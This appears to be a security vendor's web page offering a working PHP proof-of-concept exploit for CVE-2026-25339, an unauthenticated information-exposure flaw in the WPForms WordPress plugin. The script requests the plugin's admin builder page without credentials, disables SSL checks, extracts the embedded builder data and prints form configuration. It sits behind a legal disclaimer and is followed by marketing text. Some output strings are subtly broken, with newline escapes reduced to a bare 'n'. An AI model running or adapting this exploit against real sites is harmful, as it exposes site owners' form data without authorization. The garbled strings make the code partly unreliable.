By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25339 - WPForms – Easy Form Builder for WordPress – Contact Forms, Payment Forms, Surveys, & More <= 1.9.8.7 - Unauthenticated Sensitive Information Exposure

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$form_id = 1; // Target form ID to extract

// Build the vulnerable builder URL
$builder_url = $target_url . '/wp-admin/admin.php?page=wpforms-builder&view=fields&form_id=' . $form_id;

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $builder_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check if request was successful
if ($http_code === 200 && $response !== false) {
    // Extract the localized strings from the response
    if (preg_match('/var wpforms_builder = ({.*?});/s', $response, $matches)) {
        $json_data = $matches[1];
        $data = json_decode($json_data, true);
        
        if ($data !== null) {
            echo "[+] Successfully extracted form builder data for form ID: $form_idn";
            echo "[+] Form meta data found: " . (isset($data['form_meta']) ? 'Yes' : 'No') . "n";
            
            // Display sensitive information
            if (isset($data['form_meta'])) {
                echo "nForm Configuration:n";
                echo "==================n";
                print_r($data['form_meta']);
            }
            
            // Check for other sensitive data
            $sensitive_keys = ['form_id', 'field_id', 'preview_url', 'exit_url', 'content_url'];
            foreach ($sensitive_keys as $key) {
                if (isset($data[$key])) {
                    echo "n[$key]: " . $data[$key] . "n";
                }
            }
        } else {
            echo "[-] Failed to parse JSON datan";
        }
    } else {
        echo "[-] Could not find wpforms_builder JavaScript objectn";
        echo "[-] The site may not be vulnerable or the form ID doesn't existn";
    }
} else {
    echo "[-] HTTP request failed with code: $http_coden";
    echo "[-] The site may have been patched or is not accessiblen";
}

// Clean up
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School